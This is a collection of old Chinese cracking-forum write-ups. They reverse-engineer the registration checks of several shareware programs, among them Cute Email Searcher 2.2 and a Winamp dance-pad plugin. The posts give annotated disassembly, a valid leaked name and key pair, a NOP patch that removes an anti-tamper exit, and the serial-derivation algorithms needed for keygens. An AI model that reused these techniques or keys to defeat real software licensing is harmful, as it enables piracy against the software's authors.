* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00415032(C)
|
:004150C8 53 push ebx
:004150C9 53 push ebx

* Possible Reference to Dialog:
|
:004150CA 6854454800 push 00484554 << "wrong key"
:004150CF E8C70F0300 call 0044609B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004150C0(U)
|
:004150D4 8D4C240C lea ecx, dword ptr [esp+0C]
:004150D8 885C2430 mov byte ptr [esp+30], bl
:004150DC E82FD9FEFF call 00402A10
:004150E1 8D4C2408 lea ecx, dword ptr [esp+08]
:004150E5 C7442430FFFFFFFF mov [esp+30], FFFFFFFF
:004150ED E82B820200 call 0043D31D
:004150F2 8B4C2428 mov ecx, dword ptr [esp+28]
:004150F6 5E pop esi
:004150F7 64890D00000000 mov dword ptr fs:[00000000], ecx
:004150FE 5B pop ebx
:004150FF 83C42C add esp, 0000002C
:00415102 C3 ret

******************************************************************

* Referenced by a CALL at Addresses:
|:00415071 , :0041AA74
|
:00402A20 6AFF push FFFFFFFF
:00402A22 68C8594600 push 004659C8
:00402A27 64A100000000 mov eax, dword ptr fs:[00000000]
:00402A2D 50 push eax
:00402A2E 64892500000000 mov dword ptr fs:[00000000], esp
:00402A35 83EC0C sub esp, 0000000C
:00402A38 53 push ebx
:00402A39 55 push ebp
:00402A3A 56 push esi
:00402A3B 57 push edi
:00402A3C A1DC4E4800 mov eax, dword ptr [00484EDC]
:00402A41 C744242400000000 mov [esp+24], 00000000
:00402A49 89442410 mov dword ptr [esp+10], eax
:00402A4D 89442414 mov dword ptr [esp+14], eax
:00402A51 8B74242C mov esi, dword ptr [esp+2C] << esi -->name "fengy"
:00402A55 C644242402 mov [esp+24], 02

* Possible Reference to Dialog:
|
:00402A5A BF20364800 mov edi, 00483620 << "SpongeUk"
:00402A5F 8BC6 mov eax, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402A86(C)
|
:00402A61 8A10 mov dl, byte ptr [eax]
:00402A63 8A1F mov bl, byte ptr [edi]
:00402A65 8ACA mov cl, dl
:00402A67 83CDFF or ebp, FFFFFFFF
:00402A6A 3AD3 cmp dl, bl <<'f' cmp 'S'
:00402A6C 751E jne 00402A8C << jmp
:00402A6E 84C9 test cl, cl
:00402A70 7416 je 00402A88
:00402A72 8A5001 mov dl, byte ptr [eax+01]
:00402A75 8A5F01 mov bl, byte ptr [edi+01]
:00402A78 8ACA mov cl, dl
:00402A7A 3AD3 cmp dl, bl
:00402A7C 750E jne 00402A8C
:00402A7E 83C002 add eax, 00000002
:00402A81 83C702 add edi, 00000002
:00402A84 84C9 test cl, cl
:00402A86 75D9 jne 00402A61

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402A70(C)
|
:00402A88 33C0 xor eax, eax
:00402A8A EB04 jmp 00402A90

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402A6C(C), :00402A7C(C)
|
:00402A8C 1BC0 sbb eax, eax
:00402A8E 1BC5 sbb eax, ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402A8A(U)
|
:00402A90 85C0 test eax, eax << eax =01
:00402A92 7569 jne 00402AFD << jmp
:00402A94 8B442430 mov eax, dword ptr [esp+30]

* Possible StringData Ref from Data Obj ->"YTNAGO-29775-5868020"
|
:00402A98 BF08364800 mov edi, 00483608

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402ABF(C)
|
:00402A9D 8A10 mov dl, byte ptr [eax]
:00402A9F 8A1F mov bl, byte ptr [edi]
:00402AA1 8ACA mov cl, dl
:00402AA3 3AD3 cmp dl, bl
:00402AA5 751E jne 00402AC5
:00402AA7 84C9 test cl, cl
:00402AA9 7416 je 00402AC1
:00402AAB 8A5001 mov dl, byte ptr [eax+01]
:00402AAE 8A5F01 mov bl, byte ptr [edi+01]
:00402AB1 8ACA mov cl, dl
:00402AB3 3AD3 cmp dl, bl
:00402AB5 750E jne 00402AC5
:00402AB7 83C002 add eax, 00000002
:00402ABA 83C702 add edi, 00000002
:00402ABD 84C9 test cl, cl
:00402ABF 75DC jne 00402A9D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402AA9(C)
|
:00402AC1 33C0 xor eax, eax
:00402AC3 EB04 jmp 00402AC9

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402AA5(C), :00402AB5(C)
|
:00402AC5 1BC0 sbb eax, eax
:00402AC7 1BC5 sbb eax, ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402AC3(U)
|
:00402AC9 85C0 test eax, eax
:00402ACB 7530 jne 00402AFD
:00402ACD 8D4C2414 lea ecx, dword ptr [esp+14]
:00402AD1 C644242401 mov [esp+24], 01
:00402AD6 E842A80300 call 0043D31D
:00402ADB 8D4C2410 lea ecx, dword ptr [esp+10]
:00402ADF C644242400 mov [esp+24], 00
:00402AE4 E834A80300 call 0043D31D
:00402AE9 8D4C2430 lea ecx, dword ptr [esp+30]
:00402AED 896C2424 mov dword ptr [esp+24], ebp
:00402AF1 E827A80300 call 0043D31D
:00402AF6 8BC5 mov eax, ebp
:00402AF8 E92A020000 jmp 00402D27

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402A92(C), :00402ACB(C)
|

* Possible Reference to Dialog:
|
:00402AFD BF20774800 mov edi, 00487720 << move [edi] = 0x0
:00402B02 8BC6 mov eax, esi << [eax]->"fengy"

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402B26(C)
|
:00402B04 8A10 mov dl, byte ptr [eax]
:00402B06 8A1F mov bl, byte ptr [edi]
:00402B08 8ACA mov cl, dl
:00402B0A 3AD3 cmp dl, bl <<dl 'f' cmp bl 0x0
:00402B0C 751E jne 00402B2C << jmp
:00402B0E 84C9 test cl, cl
:00402B10 7416 je 00402B28
:00402B12 8A5001 mov dl, byte ptr [eax+01]
:00402B15 8A5F01 mov bl, byte ptr [edi+01]
:00402B18 8ACA mov cl, dl
:00402B1A 3AD3 cmp dl, bl
:00402B1C 750E jne 00402B2C
:00402B1E 83C002 add eax, 00000002
:00402B21 83C702 add edi, 00000002
:00402B24 84C9 test cl, cl
:00402B26 75DC jne 00402B04

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402B10(C)
|
:00402B28 33C0 xor eax, eax
:00402B2A EB04 jmp 00402B30

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402B0C(C), :00402B1C(C)
|
:00402B2C 1BC0 sbb eax, eax
:00402B2E 1BC5 sbb eax, ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402B2A(U)
|
:00402B30 85C0 test eax, eax << eax =01
:00402B32 0F84C4010000 je 00402CFC << no jmp
:00402B38 8A4E01 mov cl, byte ptr [esi+01] << "fengy" ->'e'
:00402B3B 8A5602 mov dl, byte ptr [esi+02] << "fengy" ->'n'
:00402B3E 3ACA cmp cl, dl
:00402B40 750D jne 00402B4F << jmp
:00402B42 8A06 mov al, byte ptr [esi]
:00402B44 8A5E03 mov bl, byte ptr [esi+03]
:00402B47 3AC3 cmp al, bl
:00402B49 0F84AD010000 je 00402CFC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402B40(C)
|
:00402B4F 0FBE06 movsx eax, byte ptr [esi] << 'f' 0x66
:00402B52 0FBEC9 movsx ecx, cl << ecx = 'e'0x65
:00402B55 8D0480 lea eax, dword ptr [eax+4*eax] << 0x1FE
:00402B58 8D0480 lea eax, dword ptr [eax+4*eax] << 0x9F6
:00402B5B 8D3C80 lea edi, dword ptr [eax+4*eax] << 0x31CE
:00402B5E 0FBEC2 movsx eax, dl << dl= [esi+02]='n' 0x6E
:00402B61 8D0480 lea eax, dword ptr [eax+4*eax] << 0x226
:00402B64 8D1480 lea edx, dword ptr [eax+4*eax] << 0xABE
:00402B67 8D04CD00000000 lea eax, dword ptr [8*ecx+00000000] << ecx =0x65; eax= 0x65* 8 =0x328
:00402B6E 2BC1 sub eax, ecx << 0x328-0x65 = 0x2c3
:00402B70 0FBE4E04 movsx ecx, byte ptr [esi+04] << ecx = 'y' 0x79
:00402B74 8D0440 lea eax, dword ptr [eax+2*eax] << 0x2c3*3 =0x849
:00402B77 C1E207 shl edx, 07 << edx=0xABE left move 7 = 0x55F00
:00402B7A 8D0480 lea eax, dword ptr [eax+4*eax] << eax = 0x849*5 =0x296D
:00402B7D 8D14FA lea edx, dword ptr [edx+8*edi] << edx =edi(0x31CE)*8+0x55f00 = 0x6ED70
:00402B80 8D0480 lea eax, dword ptr [eax+4*eax] << 0x296D*5 = 0xCF21
:00402B83 8D1482 lea edx, dword ptr [edx+4*eax] << edx =33C84+6ED70 =A29F4
:00402B86 8D0449 lea eax, dword ptr [ecx+2*ecx] << eax = 0x16B
:00402B89 8D04C0 lea eax, dword ptr [eax+8*eax] << eax = 0xCC3
:00402B8C C1E003 shl eax, 03 << eax = 6618
:00402B8F 2BC1 sub eax, ecx << eax = 6618-79= 659f
:00402B91 B9A0860100 mov ecx, 000186A0
:00402B96 8D0480 lea eax, dword ptr [eax+4*eax] << eax = 1FC1B
:00402B99 8D0482 lea eax, dword ptr [edx+4*eax] << eax = A29F4+7F06C =121A60
:00402B9C 99 cdq << edx = 0
:00402B9D F7F9 idiv ecx << eax/ecx = eax =0b edx =15180
:00402B9F 81C2A3340000 add edx, 000034A3 << edx = 18623
:00402BA5 52 push edx
:00402BA6 8D542414 lea edx, dword ptr [esp+14] <<

* Possible StringData Ref from Data Obj ->"%d"
|
:00402BAA 6804364800 push 00483604
:00402BAF 52 push edx
:00402BB0 E834390300 call 004364E9 << 通过这个call ,got YNTAGO-'99875' ecx
:00402BB5 83C40C add esp, 0000000C
:00402BB8 8D442410 lea eax, dword ptr [esp+10] << dd *eax = 99875
:00402BBC 8D4C2418 lea ecx, dword ptr [esp+18] << dd *ecx = "fengy-1980-1980314"
:00402BC0 50 push eax

* Possible Reference to Dialog:
|
:00402BC1 68FC354800 push 004835FC << dd 004835FC = "YNATGO-"
:00402BC6 51 push ecx
:00402BC7 E85AAA0300 call 0043D626 << dd *eax ='YNATGO-99875'

* Possible Reference to Dialog:
|
:00402BCC 68F8354800 push 004835F8 << dd 004835f8 = '-'
:00402BD1 8D542430 lea edx, dword ptr [esp+30]
:00402BD5 50 push eax
:00402BD6 52 push edx
:00402BD7 C644243003 mov [esp+30], 03 << dd *edx='fengy'
:00402BDC E8D1A90300 call 0043D5B2
:00402BE1 50 push eax <<dd *eax ='YATNGO-99875-'
:00402BE2 8D4C2418 lea ecx, dword ptr [esp+18]
:00402BE6 C644242804 mov [esp+28], 04
:00402BEB E866A80300 call 0043D456
:00402BF0 8D4C242C lea ecx, dword ptr [esp+2C]
:00402BF4 C644242403 mov [esp+24], 03
:00402BF9 E81FA70300 call 0043D31D
:00402BFE 8D4C2418 lea ecx, dword ptr [esp+18]
:00402C02 C644242402 mov [esp+24], 02
:00402C07 E811A70300 call 0043D31D
:00402C0C 0FBE06 movsx eax, byte ptr [esi]
:00402C0F 8D0480 lea eax, dword ptr [eax+4*eax]
:00402C12 8D0480 lea eax, dword ptr [eax+4*eax]
:00402C15 8D0480 lea eax, dword ptr [eax+4*eax]
:00402C18 8D0C80 lea ecx, dword ptr [eax+4*eax]
:00402C1B 0FBE4604 movsx eax, byte ptr [esi+04]
:00402C1F C1E104 shl ecx, 04
:00402C22 8D14C500000000 lea edx, dword ptr [8*eax+00000000]
:00402C29 2BD0 sub edx, eax
:00402C2B C1E208 shl edx, 08
:00402C2E 2BD0 sub edx, eax
:00402C30 8D0490 lea eax, dword ptr [eax+4*edx]
:00402C33 8D1441 lea edx, dword ptr [ecx+2*eax]
:00402C36 0FBE4E01 movsx ecx, byte ptr [esi+01]
:00402C3A 8BC1 mov eax, ecx
:00402C3C C1E006 shl eax, 06
:00402C3F 2BC1 sub eax, ecx
:00402C41 C1E004 shl eax, 04
:00402C44 03C1 add eax, ecx
:00402C46 8D0440 lea eax, dword ptr [eax+2*eax]
:00402C49 8D0C41 lea ecx, dword ptr [ecx+2*eax]
:00402C4C 8D144A lea edx, dword ptr [edx+2*ecx]
:00402C4F 0FBE4E02 movsx ecx, byte ptr [esi+02]
:00402C53 8BC1 mov eax, ecx
:00402C55 C1E005 shl eax, 05
:00402C58 03C1 add eax, ecx
:00402C5A 8D0480 lea eax, dword ptr [eax+4*eax]
:00402C5D 8D0481 lea eax, dword ptr [ecx+4*eax]
:00402C60 8D0C80 lea ecx, dword ptr [eax+4*eax]
:00402C63 8D848AF2430B00 lea eax, dword ptr [edx+4*ecx+000B43F2]
:00402C6A 8D542410 lea edx, dword ptr [esp+10]
:00402C6E 50 push eax

* Possible Reference to Dialog:
|
:00402C6F 6804364800 push 00483604
:00402C74 52 push edx
:00402C75 E86F380300 call 004364E9
:00402C7A 83C40C add esp, 0000000C << dd ecx '6169530'
:00402C7D 8D442410 lea eax, dword ptr [esp+10]
:00402C81 8D4C2414 lea ecx, dword ptr [esp+14]
:00402C85 50 push eax
:00402C86 E8AAAA0300 call 0043D735
:00402C8B 8D4C2430 lea ecx, dword ptr [esp+30] << dd eax = good regcode
:00402C8F E868380300 call 004364FC << YATNGO-99875-6169530
:00402C94 8B742430 mov esi, dword ptr [esp+30]
:00402C98 8B442414 mov eax, dword ptr [esp+14]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402CBE(C)
|
:00402C9C 8A10 mov dl, byte ptr [eax]
:00402C9E 8A1E mov bl, byte ptr [esi]
:00402CA0 8ACA mov cl, dl
:00402CA2 3AD3 cmp dl, bl
:00402CA4 751E jne 00402CC4
:00402CA6 84C9 test cl, cl
:00402CA8 7416 je 00402CC0
:00402CAA 8A5001 mov dl, byte ptr [eax+01]
:00402CAD 8A5E01 mov bl, byte ptr [esi+01]
:00402CB0 8ACA mov cl, dl
:00402CB2 3AD3 cmp dl, bl
:00402CB4 750E jne 00402CC4
:00402CB6 83C002 add eax, 00000002
:00402CB9 83C602 add esi, 00000002
:00402CBC 84C9 test cl, cl
:00402CBE 75DC jne 00402C9C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402CA8(C)
|
:00402CC0 33C0 xor eax, eax
:00402CC2 EB04 jmp 00402CC8

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402CA4(C), :00402CB4(C)
|
:00402CC4 1BC0 sbb eax, eax
:00402CC6 1BC5 sbb eax, ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402CC2(U)
|
:00402CC8 85C0 test eax, eax
:00402CCA 7530 jne 00402CFC
:00402CCC 8D4C2414 lea ecx, dword ptr [esp+14]
:00402CD0 C644242401 mov [esp+24], 01
:00402CD5 E843A60300 call 0043D31D
:00402CDA 8D4C2410 lea ecx, dword ptr [esp+10]
:00402CDE C644242400 mov [esp+24], 00
:00402CE3 E835A60300 call 0043D31D
:00402CE8 8D4C2430 lea ecx, dword ptr [esp+30]
:00402CEC 896C2424 mov dword ptr [esp+24], ebp
:00402CF0 E828A60300 call 0043D31D
:00402CF5 B801000000 mov eax, 00000001
:00402CFA EB2B jmp 00402D27

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402B32(C), :00402B49(C), :00402CCA(C)
|
:00402CFC 8D4C2414 lea ecx, dword ptr [esp+14]
:00402D00 C644242401 mov [esp+24], 01
:00402D05 E813A60300 call 0043D31D
:00402D0A 8D4C2410 lea ecx, dword ptr [esp+10]
:00402D0E C644242400 mov [esp+24], 00
:00402D13 E805A60300 call 0043D31D
:00402D18 8D4C2430 lea ecx, dword ptr [esp+30]
:00402D1C 896C2424 mov dword ptr [esp+24], ebp
:00402D20 E8F8A50300 call 0043D31D
:00402D25 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402AF8(U), :00402CFA(U)
|
:00402D27 8B4C241C mov ecx, dword ptr [esp+1C]
:00402D2B 5F pop edi
:00402D2C 5E pop esi
:00402D2D 5D pop ebp
:00402D2E 5B pop ebx
:00402D2F 64890D00000000 mov dword ptr fs:[00000000], ecx
:00402D36 83C418 add esp, 00000018
:00402D39 C20800 ret 0008

****************************************************************

整个过程不是很复杂,这里面还有一对注册码,
name: SpongeUk
key: YTNAGO-29775-5868020
用这对注册码注册,也会提示OK(参看上面的过程),但是,下次启动后还是"unregister version"
我当时没有仔细看在刚刚安装后,注册表local_machine->software->long->reg1中的信息,还没
有研究过这对注册码的作用.
另外,就是在填写注册信息中的name时,不能填写类似这样的"abba",程序上会比较name的1和2字母,
以及0和3字母,如果相同好像也不行,这儿,我没看仔细,挺奇怪的,^_^,还好我的name :fengy不是这种组合
本想,多花点时间,搞清楚是如何计算注册码的.可惜暂时没弄明白.

---fengy----


Cute Email Searcher2.2

 标 题:Cute Email Searcher2.2注册过程分析 (5千字)
发信人:Maomao[CCG]
时 间:2001-11-18 22:45:58
详细信息:
Cute Email Searcher2.2注册过程分析

作者：Maomao[CCG]
下载：http://www.ftpeasy.com/

用FI分析，它用UPX1.06加壳，小意思，用Procdump脱壳成功！运行，屏幕一闪，自动退出了。看来还有校验！用TRW直接载入原程序，蓝屏！只好从脱好壳的程序入手了。
  用TRW载入脱壳后的程序，一路F10，来到这里时,出现程序界面：
0177:00492989 CALL `KERNEL32!GetModuleHandleA`
0177:0049298E PUSH EAX
0177:0049298F CALL NEAR [ESI+18]　<----出现界面
0177:00492992 ADD ESP,BYTE +10
0177:00492995 PUSH EAX
0177:00492996 CALL 00491E58　　　　<----到这里就结束了
0177:0049299B POP ECX
0177:0049299C JMP SHORT 004929BF
在0177:0049298F设断后跟进去，按F10一直来到这里：
0177:004013BF MOV WORD [EBP-20],00
0177:004013B3 MOV EAX,[004A3698]
0177:004013B8 MOV EAX,[EAX]
0177:004013BA CALL 00453958　　　　　　<----出现界面
0177:004013BF MOV WORD [EBP-20],00
0177:004013C5 JMP SHORT 004013E2　　　<----这里返回就完了
再将0177:004013BA设断，跟进去：
0177:004539D6 MOV EAX,[EBP-04]
0177:004539D9 CALL 004537C4
0177:004539DE MOV EAX,[EBP-04]
0177:004539E1 CMP BYTE [EAX+84],00
0177:004539E8 JZ 004539D6 <----判断
0177:004539EA XOR EAX,EAX
0177:004539EC POP EDX
上面这段是对程序本本身和程序事件进行检测，其中0177:004539E8的判断会在第三次执行和程序退出时不跳,程序会退出。跟进0177:004539D9的call：
0177:004537C4 PUSH EBX
0177:004537C5 ADD ESP,BYTE -1C
0177:004537C8 MOV EBX,EAX
0177:004537CA MOV EDX,ESP
0177:004537CC MOV EAX,EBX
0177:004537CE CALL 0045372C <-----修改标志的call
0177:004537D3 TEST AL,AL
0177:004537D5 JNZ 004537E0
0177:004537D7 MOV EDX,ESP
0177:004537D9 MOV EAX,EBX
0177:004537DB CALL 00453F48
0177:004537E0 ADD ESP,BYTE +1C
0177:004537E3 POP EBX
0177:004537E4 RET
再跟进去，F10一会儿来到这里：
0177:0045373F CALL `USER32!PeekMessageA`
0177:00453744 TEST EAX,EAX
0177:00453746 JZ 004537BD
0177:00453748 MOV BL,01
0177:0045374A CMP DWORD [EDI+04],BYTE +12 <-----12是退出标志
0177:0045374E JZ 004537B6 <-----跳走就退出程序了
我们的目的在于分析程序的注册算法，如果要暴破，可以分析0177:0045373F CALL `USER32!PeekMessageA`为什么会送退出程序的消息到标志位。这里，将0177:0045374E JZ 004537B6 改为两个nop,nop ，程序就可以运行了，不过有副作用，就是不能正常退出了(正确的退出信息也被忽略了)。可以用ctrl+Alt+Del中止。现在，我们可以放心的使用TRW载入它，并分析它的注册算法了。
用TRW载入修改后的程序，注册，输入用户名Maomao[CCG]，注册码87654321，按确定，出现提示信息，意思是请重新启动后检查注册情况，看来是用KeyFile的方式或注册表方式注册，启动时检查。
用FileMon和RegMon跟踪程序，可以发现它在windows目录中写下了一个文件ces.ini，打开后发现有这样的信息：
[options]
ym=87654321
ymuser=Maomao[CCG]
一般KeyFile的注册要读文件，要用到下列常用的函数：
ReadFile、CreateFile、GetFileAttributesA 等等，也有的用不常用的如_lopen等。这里因为此文件在windows目录，可能会用到读windows目录的函数GetWindowsDirectoryA，在TRW中下bpx GetWindowsDirectoryA，载入程序，中断后，pmodule会来到这里：
0177:00401BB5 CALL `KERNEL32!GetWindowsDirectoryA`
0177:00401BBA MOV WORD [EBP-6C],14
0177:00401BC0 MOV EDX,00498606 <-----D EDX 可以看到ces.ini字样
0177:00401BC5 LEA EAX,[EBP-18]
0177:00401BC8 CALL 004965C4
下面经过一长串的定位和读的过程，我们按F10一直来到这里：
0177:00401E29 MOV DWORD [EBP+FFFFFF74],00498628
0177:00401E33 MOV DWORD [EBP+FFFFFF6C],09C4 <-----放一个基数9c4到累加器
0177:00401E3D MOV DWORD [EBP+FFFFFF70],00
0177:00401E47 XOR EBX,EBX
0177:00401E49 XOR EAX,EAX
0177:00401E4B MOV [EBP+FFFFFF68],EAX
0177:00401E51 LEA EDX,[EBP+FFFFFA54]
0177:00401E57 MOV [EBP+FFFFFF64],EDX
0177:00401E5D JMP SHORT 00401EA5
0177:00401E5F XOR EDX,EDX
0177:00401E61 MOV EAX,[EBP+FFFFFF74] <-----取字符串"TangSe1980"
0177:00401E67 INC EAX
0177:00401E68 MOV ECX,[EBP+FFFFFF64] <-----取机器号，我的为78030
0177:00401E6E MOVSX EBX,BYTE [ECX] <-----取机器号第i字符
0177:00401E71 MOVSX ESI,BYTE [EAX] <-----取字符串第i+1字符
0177:00401E74 MOVSX EDI,BYTE [EAX-01] <-----取字符串第i字符
0177:00401E78 ADD ESI,EDI <-----两字符相加
0177:00401E7A IMUL ESI,EBX <-----与第i机器号相乘
0177:00401E7D MOV EBX,ESI
0177:00401E7F ADD EDX,BYTE +02
0177:00401E82 ADD EAX,BYTE +02
0177:00401E85 CMP EDX,BYTE +05 <-----字符串取过5位？
(只有与字串5、6位的运算结果才会被保存 )
0177:00401E88 JL 00401E6E
0177:00401E8A MOV EAX,EBX <-----是则保留这一次结果
0177:00401E8C CDQ
0177:00401E8D ADD [EBP+FFFFFF6C],EAX <-----与累加器相加
0177:00401E93 ADC [EBP+FFFFFF70],EDX
0177:00401E99 INC DWORD [EBP+FFFFFF68]
0177:00401E9F INC DWORD [EBP+FFFFFF64]
0177:00401EA5 LEA ECX,[EBP+FFFFFA54]
0177:00401EAB PUSH ECX
0177:00401EAC CALL 0048C828
0177:00401EB1 POP ECX
0177:00401EB2 CMP EAX,[EBP+FFFFFF68]
0177:00401EB8 JA 00401E5F <-----取下一位机器号
这就是它的注册算法!
这段程序完全什么样的功能呢？取机器号的每一位与特征字串"TangSe1980"的第5、6位的和相乘，再累加，最后的结果再与基数0X9C4相加得到注册码。
下面的程序是读上次输入的用户名和注册码，分析发现，用户名不参与运算，输入的注册码与上面的计算的结果进行比较!看来与正确的注册码与用户名无关。
而且还有一个奇怪的发现，测试了三台不同的机器，机器码是一样的!都是78030!不知道是不是所有的机器码都是78030呀？呵呵:)
好，了，编一个简单的注册机应该没问题了吧。
收工~~~


Dance Dance Revlution for winamp

 标 题:高手请进！帮手指出这个算法里面的错误 (12千字)
发信人:随风而去
时 间:2001-12-17 13:19:38
详细信息:
PauYyoung大哥你还记得这句话吗??
                        ↓↓↓↓↓
【有信心，凡事有可能】

【请各位大哥帮小弟找一下这个注册算法有什么错误】

作者：随风而去[CNCG]
所用时间：一周
软件名：Dance Dance Revlution for winamp
软件介绍：
此乃winamp的一个插件，可以让winamp实现跳舞毯的功能，
没有注册前，不能使用跳舞毯，还有一个特殊效果也用不上。注册之后就没有这些限制了。

***************************************************************************************

先运行winamp，招到此插件的配置窗口，然后点击注册，标准的注册窗口，用户名加注册码。
先随便试了一下，有错误提示，，用trw追。
下中断bpx
hmemcpy，
不要下pmodule，
直接按F12,按了11下就回到程序了
重新来一次，按10下F12后。
按一下F10，来到如下的程序段：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003740(C)
|

* Reference To: USER32.GetDlgItemTextA, Ord:0104h
|
:10003769 8B35D0B10010 mov esi, dword ptr [1000B1D0]//F10来到这里
:1000376F 53 push ebx
:10003770 8B5C2430 mov ebx, dword ptr [esp+30]
:10003774 6A64 push 00000064
:10003776 6830F40010 push 1000F430
:1000377B 68FB030000 push 000003FB
:10003780 53 push ebx
:10003781 FFD6 call esi <－－取注册码长度放入EAX中
:10003783 8D4C240C lea ecx, dword ptr [esp+0C] <－－D EDX可看假码
:10003787 6A20 push 00000020
:10003789 51 push ecx
:1000378A 68FA030000 push 000003FA
:1000378F 53 push ebx
:10003790 FFD6 call esi
:10003792 8D54240C lea edx, dword ptr [esp+0C]
:10003796 52 push edx
:10003797 6830F40010 push 1000F430 <－－此处D 0287F430可看用户名
:1000379C E8EFF7FFFF call 10002F90 //这里有一个经典的对比，
所以这个CALL嫌疑非常大，
F8跟进到看看。
:100037A1 83C408 add esp, 00000008
:100037A4 85C0 test eax, eax
:100037A6 0F84A3000000 je 1000384F
:100037AC 8D442430 lea eax, dword ptr [esp+30]
:100037B0 50 push eax

F8来到这里
* Referenced by a CALL at Addresses:
|:100010D8 , :1000379C
|
:10002F90 83EC28 sub esp, 00000028
:10002F93 55 push ebp
:10002F94 8B6C2430 mov ebp, dword ptr [esp+30]
:10002F98 85ED test ebp, ebp <--看用户名是否为空
:10002F9A 57 push edi
:10002F9B 0F8429010000 je 100030CA
:10002FA1 8B542438 mov edx, dword ptr [esp+38]
:10002FA5 85D2 test edx, edx <--看注册码是否为空
:10002FA7 0F841D010000 je 100030CA
:10002FAD 8BFD mov edi, ebp
:10002FAF 83C9FF or ecx, FFFFFFFF
:10002FB2 33C0 xor eax, eax
:10002FB4 F2 repnz
:10002FB5 AE scasb
:10002FB6 F7D1 not ecx
:10002FB8 49 dec ecx
:10002FB9 0F840B010000 je 100030CA
:10002FBF 8BFA mov edi, edx
:10002FC1 83C9FF or ecx, FFFFFFFF
:10002FC4 F2 repnz
:10002FC5 AE scasb
:10002FC6 F7D1 not ecx
:10002FC8 49 dec ecx
:10002FC9 0F84FB000000 je 100030CA
:10002FCF 53 push ebx
:10002FD0 32DB xor bl, bl
:10002FD2 B908000000 mov ecx, 00000008
:10002FD7 8D7C2411 lea edi, dword ptr [esp+11]
:10002FDB 885C2410 mov byte ptr [esp+10], bl
:10002FDF 33D2 xor edx, edx
:10002FE1 F3 repz
:10002FE2 AB stosd
:10002FE3 8BFD mov edi, ebp
:10002FE5 83C9FF or ecx, FFFFFFFF
:10002FE8 F2 repnz
:10002FE9 AE scasb
:10002FEA F7D1 not ecx
:10002FEC 49 dec ecx
:10002FED 56 push esi
:10002FEE 85C9 test ecx, ecx
:10002FF0 894C243C mov dword ptr [esp+3C], ecx
:10002FF4 7E0A jle 10003000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10002FFE(C)
|
:10002FF6 8A042A mov al, byte ptr [edx+ebp] --| |注册名用十六进制放入al
:10002FF9 32D8 xor bl, al | | 和BL异或后，
:10002FFB 42 inc edx |-----|BL再和第二位异或……
:10002FFC 3BD1 cmp edx, ecx | |到最后一位，得出BL
:10002FFE 7CF6 jl 10002FF6 -----------------| |

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10002FF4(C)
|
:10003000 33F6 xor esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003073(U)
|
:10003002 83FE08 cmp esi, 00000008 //注册码不小于8个<1>
:10003005 7C07 jl 1000300E//小于就跳
:10003007 8D0409 lea eax, dword ptr [ecx+ecx]//注册码是注册名*2
:1000300A 3BF0 cmp esi, eax //比较
:1000300C 7D67 jge 10003075 //大于或等于跳，跳到注册码比较

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003005(C)
|
:1000300E 8BFD mov edi, ebp
:10003010 83C9FF or ecx, FFFFFFFF
:10003013 33C0 xor eax, eax
:10003015 F2 repnz
:10003016 AE scasb
:10003017 8BC6 mov eax, esi
:10003019 99 cdq
:1000301A F7D1 not ecx
:1000301C 2BC2 sub eax, edx
:1000301E 49 dec ecx
:1000301F D1F8 sar eax, 1
:10003021 33D2 xor edx, edx
:10003023 F7F1 div ecx
:10003025 83FE01 cmp esi, 00000001
:10003028 8BFA mov edi, edx
:1000302A 7E05 jle 10003031
:1000302C 8D46FF lea eax, dword ptr [esi-01]
:1000302F EB02 jmp 10003033

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000302A(C)
|
:10003031 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000302F(U)
|
:10003033 8A4C0414 |---mov cl, byte ptr [esp+eax+14]//正确的注册码从0位开始放入cl
:10003037 32CB <B>==| xor cl, bl <---------------- //与上面得出的bl异或
:10003039 80F18D | xor cl, 8D <---------------- //与8d异或
:1000303C 8AD9 |---mov bl, cl <---------------- //放入bl, 保留着下次再计算
:1000303E 885C2410 mov byte ptr [esp+10], bl
:10003042 8B542410 mov edx, dword ptr [esp+10] //得出的结果放入<1>计算
:10003046 52 push edx
:10003047 E8F4FEFFFF call 10002F40 <------------- //-----------<1>
:1000304C 8B4C2440 mov ecx, dword ptr [esp+40]
:10003050 88443418 mov byte ptr [esp+esi+18], al //放入<1>计算的注册码
:10003054 2BCF sub ecx, edi
:10003056 8A5429FF |---mov dl, byte ptr [ecx+ebp-01]----| |注册名的最后一位和注册
:1000305A 32D0 <C>==| xor dl, al |===|码第二位异或，再与D8异
:1000305C 80F2D8 |---xor dl, D8-----------------------| |或。得出dl放入<1>计算
:1000305F 52 push edx
:10003060 E8DBFEFFFF call 10002F40 <------------- //-------------<1>
:10003065 8B4C2444 mov ecx, dword ptr [esp+44]
:10003069 83C408 add esp, 00000008
:1000306C 88443415 mov byte ptr [esp+esi+15], al //放入<1>计算的注册码
